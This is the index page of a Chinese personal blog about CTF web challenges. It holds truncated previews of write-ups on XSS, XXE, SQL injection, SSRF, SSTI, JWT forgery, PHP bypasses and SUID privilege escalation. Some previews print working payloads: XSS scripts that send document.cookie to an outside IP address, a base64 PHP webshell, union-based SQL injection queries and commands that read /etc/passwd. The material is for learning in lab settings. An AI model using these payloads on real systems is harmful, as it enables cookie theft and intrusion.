加载头像
生活明朗
万物可爱。
Java
Docker
Photoshop
Node
Webpack
Pinia
Python
Vite
Flutter
Vue
React
CSS3
JS
HTML
Git
Apifox
Java
Docker
Photoshop
Node
Webpack
Pinia
Python
Vite
Flutter
Vue
React
CSS3
JS
HTML
Git
Apifox
随便逛逛
图片
2025-07-172025春秋杯夏季赛web
ez_ruby 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768require "sinatra"require "erb"require "json"class User attr_reader :name, :age def initialize(name="oSthinggg", age=21) @name = name @age = age end def is_admin? if to_s == "true" "a admin,good!give your fake flag! flag{RuBy3rB_1$_s3_1Z}" else ...
详情
图片
2025-08-03ctfshow xxe
web373 1libxml_disable_entity_loader(false); 允许 加载外部实体(Entity),这是 XXE 攻击的核心触发点。 1$xmlfile = file_get_contents('php://input'); 从请求体中读取原始 POST 数据(也就是 XML 内容)。 123if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 使用 LIBXML_NOENT 和 LIBXML_DTDLOAD: LIBXML_NOENT: 会将实体替换成其定义内容。 LIBXML_DTDLOAD: 允许加载外部 DTD(文档类型定义)。 这两个选项组合正是 XXE 攻击生效的关键。 12345 $creds = simplexml_import_dom($dom); $ctfshow = $creds->ctfshow; echo $ ...
详情
图片
2025-08-03XSS跨站脚本攻击
XSS 完全指南 - CTF-Web修炼手册 XSS跨站脚本攻击XSS介绍什么是xss? 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 WEB 页面里插入恶意 HTML 代码,当用户浏览该页之时,嵌入其中 Web 里面的 HTML 代码会被执行,从而达到恶意攻击用户的特殊目的。XSS危害 通过document.cookie盗取cookie中的信息。 使用js或css破坏页面正常的结构与样式。 流量劫持(通过访问某段具有window.location.href定位到其他页面)。 dos攻击:利用合理的客户端请求来占用过多的服务器资源,从而使合法用户无法得到服务器响应。并且通过携带过程的 cookie信息可以使服务端返回400开头的状态码,从而拒绝合理的请求服务。 利用 iframe、frame、XMLHttpRequest或上述 Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作,并且攻击者还可 ...
详情
图片
2025-08-03ctfshow xss模块
web316试了好久 写文件 nc x到的总是自己 bot点击的cookie接收不到 最后还是用python监听http服务 能够XSS的123456789101112131415161718192021外带<script>var img=document.createElement("img"); img.src="http://118.31.168.198:39543/"+document.cookie;</script><script>window.open('http://118.31.168.198:39543/'+document.cookie)</script><script>location.href='http://118.31.168.198:39543/'+document.cookie</script><script>window.location.href='http://1 ...
详情
图片
2025-03-27php内置类信息泄露
通过 __toString() 方法输出数据,从而被滥用于信息泄露。 1. ExceptionException 的 __toString() 方法会输出 message,可以用来泄露敏感信息: 1?v1=Exception&v2=file_get_contents&arg=/etc/passwd 相当于: 1echo new Exception(file_get_contents('/etc/passwd')); 如果 file_get_contents('/etc/passwd') 成功读取到了内容,它就会直接输出异常,导致信息泄露。 2. ErrorPHP 7+ 之后,Error 继承自 Throwable,其行为和 Exception 类似: 1?v1=Error&v2=file_get_contents&arg=/etc/passwd 它会输出: 1Error: /etc/passwd in script.php:3 3. ReflectionClassReflectionClass 的 __to ...
详情
图片
2025-03-27NSSRound#28 Team ez_php
NSSRound#28 Team ez_php 先看代码呗 post传参 a b get传参 pssword password不能是纯数字 又要等于123456 is_numeric检验password是不是数字 如果是数字就会执行第一个die password!=123456 是非严格比较 PHP 进行 非严格比较 (!=) 时,会尝试将字符串转换成数字。如果字符串以数字开头,PHP 会尽可能解析成数字,"123456abc" 会被当作 123456 来比较 所以这里我们可以通过传password=123456abc进行绕过 1if ($a != $b && md5($a) === md5($b)) a!=b a的md5还要等于b的md5 因为md5对数组加密结果为NULL 所以这里直接用数组绕过 post传参 a[]=1&b[]=2即可绕过 接下来就是文件包含inclue 直接利用php://filte文件读取流读取level2.php file ...
详情
图片
2025-04-01polar 写shell
polar 写shell file_put_contents 函数 会把**<?php exit();”.$_POST[‘content’]** 存入到 $_GET[‘filename’] 文件里 但是这里的<?php exit(); 执行时就会直接先执行exit()退出了 导致我们后面的代码无法执行 这里就需要绕过一下exit(); 这里是 php死亡exit()绕过 1file_put_contents($filename,"<?php exit();".$content); tips:伪协议处理时会对过滤器urldecode一次;面对不可用的规则是报个Warning,然后跳过继续执行 base64编码绕过 12filename=php://filter/read/convert.base64-decode/resource=shell.phpcontent=aPD9waHAgcGhwaW5mbygpOz8+ 利用php://filter 伪协议 先将 <?php exit() ...
详情
图片
2025-03-31ctfshow php特性刷题笔记
其中笔记多为查询ai获得 ai直接解释不清楚的 为自行查找并总结 strops()strpos() 是 PHP 用来查找字符串 的函数,它用于查找 某个字符串 在 另一个字符串 中 首次出现的位置。 if (strpos($xdmtql, 'sys nb') !== false) { echo 'flag{*******}'; } else { echo 'true .swp file?'; } strops函数匹配上传的参数里有sys nb 如果 $xdmtql 不匹配 /sys.*nb/(即 sys 和 nb 不能被任何字符隔开,除非是空格) 如果 $xdmtql 里面有 “sys nb”,输出 flag{*******}(获取 flag) 否则,输出 “true .swp file?”`。 preg_match()preg_match('/^\W+$/', $v3):这行代码检 ...
详情
图片
2025-03-30小蓝鲨的冒险
get传参b=a[0]=QLTHNDT md5弱比较 这里是0e绕过 QNKCDZO与QLTHNDT经过md5编码后都是0e开头 因为PHP 试图解析它们为数值,发现它们符合 0eX(科学计数法),都被解释为 0 * 10^X = 0。 结果是 0 == 0,所以 返回 true。 然后post num num=2024 不能有字母 intval($num,0)=2024 小数点绕过即可 post传参num=2024.1 intval() 转换小数类型时,只返回个位数,不遵循四舍五入的原则。 接下来是一个switch循环 get传参 which=flag 在 PHP 中,switch 语句的比较是通过 严格比较(==) 来进行的。当你传递一个非数字字符串(例如 "flag")时,PHP 会尝试将其转换为数字。这个转换过程有些特殊,通常会把任何非数字字符串转换为 0。 也就是 PHP 会自动尝试将 "flag" 转换为数字。在 PHP ...
详情
图片
2025-04-01polar bllbl_rce
polar bllbl_rce 发现尝试输入什么都会返回 no 目录扫描一下 这边用的御剑 发现了http://b03cb505-b6b0-4441-afa9-3394da78554d.www.polarctf.com:8090/admin/admin.php 访问后下载源码备份 查看源码 if (strpos($command, ‘bllbl’) === false) 这里发现我们输入的命令里 要有 bllbl 字符 那可以输入命令了 ls /;bllbl cat /flag;bllbl
详情
图片
2025-03-31ISCTF 千年樱
设置cookie: from=ISCTF 访问/get_contents_qwerghjkl.php 这里有个file_get_content函数 用data://伪协议绕过 file_get_contents($_POST[‘name’]) 会尝试读取一个文件 名为name 而不是文件的内容 所以这里要让 file_get_contents() 读取的是一个“伪造的文件”,它的内容正好是 "ISCTF"。 而data:// 是 PHP 的 数据流(Stream Wrapper),允许直接创建“虚拟文件”。 所以这里传 name=data://text/plain,ISCTF即可 访问/well_down_mlpnkobji.php 这里看不清 自己找个文本写入看 waf($poc);对poc过滤了 “/http|php|file|:|=|/|?/i” 我们需要通过php://filter伪协议 ...
详情
图片
2025-04-01php死亡exit()绕过
php死亡exit()绕过需要绕过exit()的地方一般都是file_put_contents 大致有如下三种 123file_put_contents($filename,"<?php exit();".$content);file_put_contents($content,"<?php exit();".$content);file_put_contents($filename,$content . "\nxxxxxx"); tips:伪协议处理时会对过滤器urldecode一次;面对不可用的规则是报个Warning,然后跳过继续执行 第一种情况1file_put_contents($filename,"<?php exit();".$content); base64编码绕过12filename=php://filter/convert.base64-decode/resource=shell.phpcontent=aPD9waHAgQGV2YWwoJF9QT1NUWydzaGV ...
详情
图片
2025-04-06NSSCTF Round#30
NSSCTF Round#30 小桃的PHP挑战 第一关 isset($_GET['one']) ✅ 为真 $str = '9' $add = substr('9', 0, 1) → '9' $add++ → '10' strlen($add) = 2 > 1 → ✅ 条件成立 执行 $A = 1;,不会执行 echo ✅ 所以:**传 **?one=1&str=9**,会使$A=1 第二关先传一个two=1 🚫 黑名单限制: 禁止:;、空格、$、#、反引号、单双引号、星号、问号、尖括号、换行、^ 等等。 这里的$B=1 在 if 的 try 里 只要我们能进入if循环的try里即可 这里我们只需要注释一下就行 直接传 *comment=/或者//都可以 然后try里就会是 1eval('$B = 1;'./*.';echo $two;die();'); &#x2F ...
详情
图片
2025-08-09TGCTF web
TGCTF(ez)upload上传一个图片马 抓包 通过 /. 绕过 在upload.php.bak里我们可以看到源码 上传成功 访问uploads/shell.php 执行命令 1shell=system('env'); AAA偷渡阴平 可以通过无参rce读取 要列出根目录,可以利用 PHP 的预定义常量 DIRECTORY_SEPARATOR 绕过对斜杠 / 的过滤。 方法:使用 DIRECTORY_SEPARATOR 常量 PHP 的 DIRECTORY_SEPARATOR 是一个预定义常量,在 Linux 系统中值为 /。通过该常量可以构造根目录的路径,而无需直接使用被过滤的斜杠。 所以我们可以通过 1print_r(scandir(DIRECTORY_SEPARATOR)); 来列出根目录 发现了 flag文件 读取flag 方法:使用 chdir 切换目录 PHP 的 chdir 函数可以切换当前工作目录。结合 DIRECTORY_SEPARATOR(值为 /),无需使用 . 拼接路径即可访问根目 ...
详情
图片
2025-04-14SQCTF web
RceMe 这题只限制了payload为五字符以内 先传 1?com=ls / 得出flag目录 读取flag文件的话 通过nl命令 使用nl命令:nl是用于添加行号的命令,支持短路径通配符。 通配符匹配路径:/*匹配根目录下的所有文件,假设/flag是其中唯一可读的文件。 1payload:?com=nl /* 命令长度:n + l + 空格 + / + * → 共5个字符。 执行效果:列出根目录下所有文件的内容(带行号),若/flag存在且可读,其内容将被输出 ezGame很明显需要你得分高于2048(游戏高手可以选择自己慢慢玩QAQ) 查看源码 搜索score 1.req.open(“GET”, “flag.php?score=” + obj.score, true); // 打开 GET 请求,URL 里包含 score 参数 可以看出最后分数是会经过GET请求的进行flag.php?score=? 的访问进行验证 所以我们可以直接构造 1url/flag.php?score=2048 来得 ...
详情
图片
2025-08-09php命令执行
0x01命令执行函数介绍常见函数 system exec passthru shell_exec 反引号 popen proc_open pcntl_exec system 有回显system(string $command,int &$return_var = ?) 常用参数: command:执行command参数所指定的目录,并且输出执行结果 如果提供rerurn_var参数,则外部命令执行后的返回状态将会被设置到此变量中 exec 回显最后一行exec(字符串 $command, 数组 &$output = null, int &$result_code = null): exec() 执行给定的 .command 参数 command 将要执行的命令。 output 如果存在该参数,则 指定的数组将填充 命令。尾随空格(如 , )不是 包含在此数组中。请注意,如果数组已经包含一些 元素中,exec() 将附加到数组的末尾。 如果你不希望函数附加元素,请在将数组传递给 exec() 之前对 ...
详情
图片
2025-05-27ssti模板注入
靶场 重庆橙子科技ssti靶场 开启靶场命令sudo docker run -p 18022:22 -p 18080:80 -i -t mcc0624/flask_ssti:last bash -c ‘/etc/rc.local; /bin/bash’ 0x03 Python flask变量及方法Flask变量规则通过向规则参数添加变量部分 可以动态构建URL。 1234567891011121314from flask import Flaskapp = Flask(__name__)@app.route("/benben/<name>")def ben(name): return "hello %s" % name@app.route('/int/<int:postID>')def id(postID): return "hello %d" % postID@app.route('/rev/<f ...
详情
图片
2025-05-28ByteCTF 2019 Boring Code
这题考了无参数rce 伪协议读取 flag就在主目录下 /code里的源码 解释过滤了data:// 有个parse_url($url)函数 检测url的host部分 是不是baidu.com 然后下面是无参 最终执行eval($code) 这里通过compress.zlib://伪协议进行文件读取 可以分解为: compress.zlib:// → 这是 PHP 的流封装器,用于处理 zlib 压缩 的数据流(.gz 格式)。 data: → 这是 data URI scheme,可以内嵌数据而非从文件或网络读取,常用于嵌入 base64 数据。 你可以把它理解为: “把 base64 编码的内联数据当成 gzip 文件读取” 但是这里我们不需要base64编码 怎么使host=baidu.com 1url=compress.zlib://data:@baidu.com/plain,... 这里通过compress.zlib://伪协议 …会被当做php代码执行 parse_url ...
详情
图片
2025-07-17SSRF
0x001SSRF前置课程NATSSRF 服务器伪造 是一种由攻击者形成服务器端发起的安全漏洞 NAT 网络地址转换 通过将一个外部IP地址和端口映射到更大的内部IP地址集来转换IP地址 0x002SSRF漏洞原理攻击的目标: 从外网无法访问的内部系统 形成的原因: 大部分是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制 从指定URL地址获取网页文本内容 加载指定地址的图片,下载 百度识图,给出一串URL就能识别出图片 SSRF漏洞利用:通过服务器A(SSRF服务器)访问A所在内网的其他服务器获取信息,进而利用SSRF实现其他漏洞利用。 利用file协议读取本地文件 对服务器所在内网,本地进行端口扫描,获取一些服务的banner信息 攻击运行在内网或本地的应用程序 对内网web应用进行指纹识别,识别企业内部的资产信息 攻击内外网的web应用,主要是使用HTTP GET请求就可以实现的攻击 0x003SSRF信息收集file伪协议伪协议 12345678910111213file:// 从文件系统中读取文件内容,如file:///etc ...
详情
图片
2025-07-17sql注入
0x008extractvalue报错注入(只显示32个字符) 3.使用extractvalue查询xml里面的内容 1?id=1' union select 1,extractvalue(doc,concat(0x7e,(select database()))),3 --+ 1?id=1' and 1=select 1,extractvalue(doc,concat(0x7e,(select database()))),3 --+ 查表名 1?id=1' union select 1,extractvalue(doc,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3 --+ 查列名 1?id=1' union select 1,extractvalue(doc,concat(0x7e,(select group_concat(column_name) from in ...
详情
图片
2025-07-17sqlmap使用
sqlmap使用 SQLmap一、目标1、指定url2、指定文件(批量检测)3、指定数据库/表/字段4、post请求5、cookie注入二、脱库1、获取数据库2、获取表3、获取字段4、获取字段类型5、获取值(数据)6、获取用户7、获取主机名8、搜索库、表、字段。9、正在执行的SQL语句三、WAF绕过三、其他 SQLmap是一款「自动化」SQL注入工具,kali自带。路径 /usr/share/sqlmap 打开终端,输入sqlmap,出现以下界面,就说明SQLmap「可用」。 SQLmap(常规)使用步骤1、检测「注入点」1sqlmap -u 'http://xx/?id=1' 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677python sqlmap.py -u &quo ...
详情
图片
2025-07-17poalr困难
这又是一个上传前端检查后缀 上传文件 bp抓包 改后缀 antsword连接后发现没权限 啥都读不了 终端打开可以发现用户是www-data 没有读取文件的权限 查找SUID提权文件 123find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls {} \; 2>/dev/null 有个/opt/polkit-0.105/src/programs/.libs/pkexec polkit-0.105/src/programs/.libs/pkexec存在本地提权漏洞 CVE-2021=4034 berdav/CVE-2021-4034: CVE-2021-4034 1day polkit是一个授权管理器,其系统架构由 ...
详情
图片
2025-07-17best_profile
best_profile123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167import osimport reimport randomimport stringimport requestsfrom flask import ( Flask, ren ...
详情
图片
2025-08-03ctfshow jwt模块
web345未对签名进行验证 要伪造admin用户访问 admin路由 bp抓包 可以看到这个jwt只要两部分 没有signature(签名)部分 很明显未对签名进行验证 直接把payload部分 的用户 该为admin ​ header部分 的加密算法 None改成任何一个加密算法都可以 直接在bp里就可以修改 改完之后应用变更send 到/admin/路由 即可 web346未对加密算法进行强验证 攻击手法跟上关一样 只不过这里要把后面的签名部分去掉 把header中的alg参数的值改为none payload中的sub改为admin 伪造成功发包就可以了 web347弱密钥 jwt_tool爆破一下密钥 也可以用bp的JSON Editor插件 爆破 可以爆破出来secret是123456 然后用密钥去伪造jwt 伪造的话可以用JWT Web Tokens插件 JWT Editor应该也可以直接用 JWT Web Tokens插件感觉也更方便一点 该一下sub 加一下密钥 去访问&#x2F ...
详情
TGCTF web
php命令执行
ctfshow xxe
XSS跨站脚本攻击
ctfshow xss模块
ctfshow jwt模块
poalr困难
2025春秋杯夏季赛web
best_profile
SSRF
avatar
status
欢迎来到魔法信息堡, 希望你在这里找到所需的知识和教程, 开启一段充满魔法的奇妙之旅!
公告
欢迎来看我的博客鸭~


网站资讯
文章总数 :
24
建站天数 :
全站字数 :
78.7k
总访客数 :
总访问量 :
最后更新 :
距离除夕
2026-02-16
本年
还剩
本月
还剩
本周
还剩
引用到评论
随便逛逛博客分类文章标签
复制地址关闭热评深色模式轉為繁體